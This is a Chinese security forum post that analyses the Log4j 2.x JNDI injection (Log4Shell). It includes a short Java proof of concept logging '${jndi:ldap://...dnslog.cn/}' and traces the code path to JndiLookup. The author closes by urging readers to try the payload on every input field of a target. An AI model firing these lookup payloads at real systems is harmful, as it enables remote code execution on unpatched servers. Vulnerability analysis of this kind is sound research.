Jdk7u21(随便版本都可以)
影响版本:
Apache Log4j 2.x
org.apache.logging.log4j
log4j-core
2.11.1
Poc
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class test2 {
private static Logger LOGGER = LogManager.getLogger();
public static void main(String[] args) {
LOGGER.error("${jndi:ldap://ewa04i.dnslog.cn/}");
}
}
看payload,我们无可厚非去搜索log4j lookup或者log4j jndi
https://logging.apache.org/log4j/2.x/manual/lookups.html【英文文档】
https://www.docs4dev.com/docs/zh/log4j2/2.x/all/manual-lookups.html【中文文档】
我们可以看到使用方法,不难发现这边支持jndi,而jndi又支持其他协议,会进行转换,不难想起ldap;我们调试下看看。因为我昨天半夜调试了下,到五点半,早上还有课,我就去睡觉了,只保存了分析过程的截图
废话不多说,往下看;因为我昨晚调试了挺多遍的,所以这边我就直接下到关键地方
直接到关键点:org.apache.logging.log4j.core.layout.PatternLayout.PatternSerializer#toSerializable(org.apache.logging.log4j.core.LogEvent, java.lang.StringBuilder)
org.apache.logging.log4j.core.pattern.PatternFormatter#format
我们跟进查看该方法,在java原生中该方法是格式化字符串,不知道这边是不是
org.apache.logging.log4j.core.pattern.MessagePatternConverter#format
这边通过getMessage()获取到了我们的payload,为啥呢?
这边就不继续累赘了;我们继续往下看
org.apache.logging.log4j.core.pattern.MessagePatternConverter#format
可以看到这边是会检测是否为${
开头,如果是,则进行执行,触发漏洞点
好像其实看文档就差不多了,这边的话是获取变量解析器
随即进入org.apache.logging.log4j.core.lookup.Interpolator#lookup
获取对应的前缀,选择对应的jndi类对象-JndiLookup
从而进行jndi注入,达到远程类加载的目的;
查看官方文档,其实就是通过格式化,对${jndi:ldap://uci5xf.dnslog.cn/test}
进行替换为真实的数据;
从入口看的话,不难发现,只要是被日志记录,即可执行(有部分不可以)因为临时写的,就不深究;
打它的方式就是:有交互的地方都打个遍,嘎嘎嘎
用户名 | 金币 | 积分 | 时间 | 理由 |
---|---|---|---|---|
Track-劲夫 | 130.00 | 0 | 2022-01-26 14:02:57 | 一个受益终生的帖子~~ |
打赏我,让我更有动力~
© 2016 - 2024 掌控者 All Rights Reserved.
by盛夏
发表于 2022-1-27
嘎嘎嘎
评论列表
加载数据中...